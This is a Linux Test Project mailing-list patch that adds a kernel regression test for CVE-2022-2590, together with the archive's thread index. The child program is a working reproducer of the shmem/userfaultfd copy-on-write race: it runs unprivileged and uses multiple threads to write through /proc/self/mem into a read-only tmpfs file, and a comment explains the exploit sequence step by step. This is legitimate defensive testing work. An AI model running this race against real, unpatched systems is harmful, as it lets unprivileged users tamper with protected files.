From: David Hildenbrand <david@redhat.com>
To: ltp@lists.linux.it
Cc: David Hildenbrand <david@redhat.com>
Subject: [LTP] [PATCH v2] security/dirtyc0w_shmem: Add new test for CVE-2022-2590
Date: Wed, 23 Nov 2022 11:35:47 +0100 [thread overview]
Message-ID: <20221123103547.54246-1-david@redhat.com> (raw)
This test is based on the original reproducer [1] written by me.
The LTP adaption is implemented similar to the original dirtyc0w
test.
Try handling absence of userfaultfd minor fault mode support for
shmem gracefully.
[1] https://seclists.org/oss-sec/2022/q3/128
Cc: Cyril Hrubis <chrubis@suse.cz>
Signed-off-by: David Hildenbrand <david@redhat.com>
---
v1 -> v2:
* Use proper [Description] comment
* Make "child_early_exit" variable volatile as it's modified from a signal
handler
* Use SAFE_FILE_PRINTF()+SAFE_CHMOD()
* Add ".needs_tmpdir" flag
---
runtest/cve | 1 +
runtest/syscalls | 1 +
.../kernel/security/dirtyc0w_shmem/.gitignore | 2 +
.../kernel/security/dirtyc0w_shmem/Makefile | 8 +
.../security/dirtyc0w_shmem/dirtyc0w_shmem.c | 121 +++++++++
.../dirtyc0w_shmem/dirtyc0w_shmem_child.c | 241 ++++++++++++++++++
6 files changed, 374 insertions(+)
create mode 100644 testcases/kernel/security/dirtyc0w_shmem/.gitignore
create mode 100644 testcases/kernel/security/dirtyc0w_shmem/Makefile
create mode 100644 testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem.c
create mode 100644 testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem_child.c
diff --git a/runtest/cve b/runtest/cve
index 9ab6dc282..fd0305aa3 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -73,5 +73,6 @@ cve-2021-22555 setsockopt08 -i 100
cve-2021-26708 vsock01
cve-2021-22600 setsockopt09
cve-2022-0847 dirtypipe
+cve-2022-2590 dirtyc0w_shmem
# Tests below may cause kernel memory leak
cve-2020-25704 perf_event_open03
diff --git a/runtest/syscalls b/runtest/syscalls
index 3dc6fa397..ae37a1192 100644
--- a/runtest/syscalls
+++ b/runtest/syscalls
@@ -1036,6 +1036,7 @@ process_vm_writev02 process_vm_writev02
prot_hsymlinks prot_hsymlinks
dirtyc0w dirtyc0w
+dirtyc0w_shmem dirtyc0w_shmem
dirtypipe dirtypipe
pselect01 pselect01
diff --git a/testcases/kernel/security/dirtyc0w_shmem/.gitignore b/testcases/kernel/security/dirtyc0w_shmem/.gitignore
new file mode 100644
index 000000000..291c3de69
--- /dev/null
+++ b/testcases/kernel/security/dirtyc0w_shmem/.gitignore
@@ -0,0 +1,2 @@
+dirtyc0w_shmem
+dirtyc0w_shmem_child
diff --git a/testcases/kernel/security/dirtyc0w_shmem/Makefile b/testcases/kernel/security/dirtyc0w_shmem/Makefile
new file mode 100644
index 000000000..a3bad2a83
--- /dev/null
+++ b/testcases/kernel/security/dirtyc0w_shmem/Makefile
@@ -0,0 +1,8 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2016 Linux Test Project
+
+top_srcdir ?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+dirtyc0w_shmem_child: CFLAGS+=-pthread
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem.c b/testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem.c
new file mode 100644
index 000000000..f885a9283
--- /dev/null
+++ b/testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem.c
@@ -0,0 +1,121 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2022 Red Hat, Inc.
+ */
+
+/*\
+ * [Description]
+ *
+ * This is a regression test for a write race that allowed unprivileged programs
+ * to change readonly files located on tmpfs/shmem on the system using
+ * userfaultfd "minor fault handling" (CVE-2022-2590).
+ */
+
+#include "config.h"
+
+#include <pthread.h>
+#include <unistd.h>
+#include <sys/stat.h>
+#include <string.h>
+#include <stdlib.h>
+#include <stdbool.h>
+#include <pwd.h>
+
+#include "tst_test.h"
+
+#define TMP_DIR "tmp_dirtyc0w_shmem"
+#define TEST_FILE TMP_DIR"/testfile"
+#define STR "this is not a test\n"
+
+static uid_t nobody_uid;
+static gid_t nobody_gid;
+static volatile bool child_early_exit;
+
+static void sighandler(int sig)
+{
+ if (sig == SIGCHLD) {
+ child_early_exit = true;
+ return;
+ }
+
+ _exit(0);
+}
+
+static void setup(void)
+{
+ struct passwd *pw;
+
+ umask(0);
+
+ pw = SAFE_GETPWNAM("nobody");
+
+ nobody_uid = pw->pw_uid;
+ nobody_gid = pw->pw_gid;
+
+ SAFE_MKDIR(TMP_DIR, 0664);
+ SAFE_MOUNT(TMP_DIR, TMP_DIR, "tmpfs", 0, NULL);
+}
+
+static void dirtyc0w_shmem_test(void)
+{
+ bool failed = false;
+ int pid;
+ char c;
+
+ SAFE_FILE_PRINTF(TEST_FILE, STR);
+ SAFE_CHMOD(TEST_FILE, 0444);
+
+ pid = SAFE_FORK();
+ if (!pid) {
+ SAFE_SETGID(nobody_gid);
+ SAFE_SETUID(nobody_uid);
+ SAFE_EXECLP("dirtyc0w_shmem_child", "dirtyc0w_shmem_child", NULL);
+ }
+
+ TST_CHECKPOINT_WAIT(0);
+
+ SAFE_SIGNAL(SIGCHLD, sighandler);
+ do {
+ usleep(100000);
+
+ SAFE_FILE_SCANF(TEST_FILE, "%c", &c);
+
+ if (c != 't') {
+ failed = true;
+ break;
+ }
+ } while (tst_remaining_runtime() && !child_early_exit);
+ SAFE_SIGNAL(SIGCHLD, SIG_DFL);
+
+ SAFE_KILL(pid, SIGUSR1);
+ tst_reap_children();
+ SAFE_UNLINK(TEST_FILE);
+
+ if (child_early_exit)
+ tst_res(TINFO, "Early child process exit");
+ else if (failed)
+ tst_res(TFAIL, "Bug reproduced!");
+ else
+ tst_res(TPASS, "Bug not reproduced");
+}
+
+static void cleanup(void)
+{
+ SAFE_UMOUNT(TMP_DIR);
+}
+
+static struct tst_test test = {
+ .needs_checkpoints = 1,
+ .forks_child = 1,
+ .needs_root = 1,
+ .needs_tmpdir = 1,
+ .max_runtime = 120,
+ .setup = setup,
+ .cleanup = cleanup,
+ .test_all = dirtyc0w_shmem_test,
+ .tags = (const struct tst_tag[]) {
+ {"linux-git", "5535be309971"},
+ {"CVE", "2022-2590"},
+ {}
+ }
+};
diff --git a/testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem_child.c b/testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem_child.c
new file mode 100644
index 000000000..cb2e9df0c
--- /dev/null
+++ b/testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem_child.c
@@ -0,0 +1,241 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2022 Red Hat, Inc.
+ * Based on original reproducer: https://seclists.org/oss-sec/2022/q3/128
+ */
+
+#include "config.h"
+
+#include <fcntl.h>
+#include <pthread.h>
+#include <unistd.h>
+#include <sys/stat.h>
+#include <string.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <pwd.h>
+#include <poll.h>
+#include <unistd.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/ioctl.h>
+
+#ifdef HAVE_LINUX_USERFAULTFD_H
+#include <linux/userfaultfd.h>
+#endif
+
+#ifdef UFFD_FEATURE_MINOR_SHMEM
+
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
+#include "tst_safe_macros.h"
+#include "tst_safe_pthread.h"
+#include "lapi/syscalls.h"
+
+#define TMP_DIR "tmp_dirtyc0w_shmem"
+#define TEST_FILE TMP_DIR"/testfile"
+
+static char *str = "m00000000000000000";
+static void *map;
+static int mem_fd;
+static int uffd;
+static size_t page_size;
+
+static void *stress_thread_fn(void *arg)
+{
+ while (1)
+ /* Don't optimize the busy loop out. */
+ asm volatile("" : "+r" (arg));
+
+ return NULL;
+}
+
+static void *discard_thread_fn(void *arg)
+{
+ (void)arg;
+
+ while (1) {
+ char tmp;
+
+ /*
+ * Zap that page first, such that we can trigger a new
+ * minor fault.
+ */
+ madvise(map, page_size, MADV_DONTNEED);
+ /*
+ * Touch the page to trigger a UFFD minor fault. The uffd
+ * thread will resolve the minor fault via a UFFDIO_CONTINUE.
+ */
+ tmp = *((char *)map);
+ /* Don't optimize the read out. */
+ asm volatile("" : "+r" (tmp));
+ }
+
+ return NULL;
+}
+
+static void *write_thread_fn(void *arg)
+{
+ (void)arg;
+
+ while (1)
+ /*
+ * Ignore any errors -- errors mean that pwrite() would
+ * have to trigger a uffd fault and sleep, which the GUP
+ * variant doesn't support, so it fails with an I/O errror.
+ *
+ * Once we retry and are lucky to already find the placed
+ * page via UFFDIO_CONTINUE (from the other threads), we get
+ * no error.
+ */
+ pwrite(mem_fd, str, strlen(str), (uintptr_t) map);
+
+ return NULL;
+}
+
+static void *uffd_thread_fn(void *arg)
+{
+ static struct uffd_msg msg;
+ struct uffdio_continue uffdio;
+ struct uffdio_range uffdio_wake;
+
+ (void)arg;
+
+ while (1) {
+ struct pollfd pollfd;
+ int nready, nread;
+
+ pollfd.fd = uffd;
+ pollfd.events = POLLIN;
+ nready = poll(&pollfd, 1, -1);
+ if (nready < 0)
+ tst_brk(TBROK | TERRNO, "Error on poll");
+
+ nread = read(uffd, &msg, sizeof(msg));
+ if (nread <= 0)
+ continue;
+
+ uffdio.range.start = (unsigned long) map;
+ uffdio.range.len = page_size;
+ uffdio.mode = 0;
+ if (ioctl(uffd, UFFDIO_CONTINUE, &uffdio) < 0) {
+ if (errno == EEXIST) {
+ uffdio_wake.start = (unsigned long) map;
+ uffdio_wake.len = 4096;
+ SAFE_IOCTL(uffd, UFFDIO_WAKE, &uffdio_wake);
+ }
+ }
+ }
+
+ return NULL;
+}
+
+static void setup_uffd(void)
+{
+ struct uffdio_register uffdio_register;
+ struct uffdio_api uffdio_api;
+ int flags = O_CLOEXEC | O_NONBLOCK;
+
+retry:
+ TEST(tst_syscall(__NR_userfaultfd, flags));
+ if (TST_RET < 0) {
+ if (TST_ERR == EPERM) {
+ if (!(flags & UFFD_USER_MODE_ONLY)) {
+ flags |= UFFD_USER_MODE_ONLY;
+ goto retry;
+ }
+ }
+ tst_brk(TBROK | TTERRNO,
+ "Could not create userfault file descriptor");
+ }
+ uffd = TST_RET;
+
+ uffdio_api.api = UFFD_API;
+ uffdio_api.features = UFFD_FEATURE_MINOR_SHMEM;
+ TEST(ioctl(uffd, UFFDIO_API, &uffdio_api));
+ if (TST_RET < 0) {
+ if (TST_ERR == EINVAL) {
+ tst_brk(TCONF,
+ "System does not have userfaultfd minor fault support for shmem");
+ }
+ tst_brk(TBROK | TTERRNO,
+ "Could not create userfault file descriptor");
+ }
+
+ uffdio_register.range.start = (unsigned long) map;
+ uffdio_register.range.len = page_size;
+ uffdio_register.mode = UFFDIO_REGISTER_MODE_MINOR;
+ SAFE_IOCTL(uffd, UFFDIO_REGISTER, &uffdio_register);
+}
+
+static void sighandler(int sig)
+{
+ (void) sig;
+
+ _exit(0);
+}
+
+int main(void)
+{
+ pthread_t thread1, thread2, thread3, *stress_threads;
+ int fd, i, num_cpus;
+ struct stat st;
+
+ tst_reinit();
+
+ SAFE_SIGNAL(SIGUSR1, sighandler);
+
+ page_size = getpagesize();
+ num_cpus = sysconf(_SC_NPROCESSORS_ONLN);
+
+ /* Create some threads that stress all CPUs to make the race easier to reproduce. */
+ stress_threads = malloc(sizeof(*stress_threads) * num_cpus * 2);
+ for (i = 0; i < num_cpus * 2; i++)
+ pthread_create(stress_threads + i, NULL, stress_thread_fn, NULL);
+
+ TST_CHECKPOINT_WAKE(0);
+
+ fd = SAFE_OPEN(TEST_FILE, O_RDONLY);
+ SAFE_FSTAT(fd, &st);
+
+ /*
+ * We need a read-only private mapping of the file. Ordinary write-access
+ * via the page tables is impossible, however, we can still perform a
+ * write access that bypasses missing PROT_WRITE permissions using ptrace
+ * (/proc/self/mem). Such a write access is supposed to properly replace
+ * the pagecache page by a private copy first (break COW), such that we are
+ * never able to modify the pagecache page.
+ *
+ * We want the following sequence to trigger. Assuming the pagecache page is
+ * mapped R/O already (e.g., due to previous action from Thread 1):
+ * Thread 2: pwrite() [start]
+ * -> Trigger write fault, replace mapped page by anonymous page
+ * -> COW was broken, remember FOLL_COW
+ * Thread 1: madvise(map, 4096, MADV_DONTNEED);
+ * -> Discard anonymous page
+ * Thread 1: tmp += *((int *)map);
+ * -> Trigger a minor uffd fault
+ * Thread 3: ioctl(uffd, UFFDIO_CONTINUE
+ * -> Resolve minor uffd fault via UFFDIO_CONTINUE
+ * -> Map shared page R/O but set it dirty
+ * Thread 2: pwrite() [continue]
+ * -> Find R/O mapped page that's dirty and FOLL_COW being set
+ * -> Modify shared page R/O because we don't break COW (again)
+ */
+ map = SAFE_MMAP(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
+ mem_fd = SAFE_OPEN("/proc/self/mem", O_RDWR);
+
+ setup_uffd();
+
+ SAFE_PTHREAD_CREATE(&thread1, NULL, discard_thread_fn, NULL);
+ SAFE_PTHREAD_CREATE(&thread2, NULL, write_thread_fn, NULL);
+ SAFE_PTHREAD_CREATE(&thread3, NULL, uffd_thread_fn, NULL);
+
+ pause();
+
+ return 0;
+}
+#else /* UFFD_FEATURE_MINOR_SHMEM */
+#include "tst_test.h"
+TST_TEST_TCONF("System does not have userfaultfd minor fault support for shmem");
+#endif /* UFFD_FEATURE_MINOR_SHMEM */
--
2.38.1
--
Mailing list info: https://lists.linux.it/listinfo/ltp
next reply other threads:[~2022-11-23 10:36 UTC|newest]
Thread overview: 16+ messages / expand[flat|nested] mbox.gz Atom feed top
2022-11-23 10:35 David Hildenbrand [this message]
2022-11-24 22:13 ` [LTP] [PATCH v2] security/dirtyc0w_shmem: Add new test for CVE-2022-2590 Petr Vorel
2022-11-25 9:53 ` Martin Doucha
2022-11-25 10:06 ` Petr Vorel
2022-11-25 10:20 ` David Hildenbrand
2022-11-25 10:25 ` Martin Doucha
2022-11-25 10:29 ` David Hildenbrand
2022-11-25 10:39 ` Petr Vorel
2022-11-25 10:42 ` David Hildenbrand
2022-11-25 10:17 ` David Hildenbrand
2022-11-25 14:22 ` Cyril Hrubis
2022-11-25 14:26 ` Martin Doucha
2022-11-25 14:35 ` Cyril Hrubis
2022-11-25 10:37 ` Martin Doucha
2022-11-25 10:39 ` Petr Vorel
2022-11-25 10:40 ` David Hildenbrand
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20221123103547.54246-1-david@redhat.com \
--to=david@redhat.com \
--cc=ltp@lists.linux.it \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.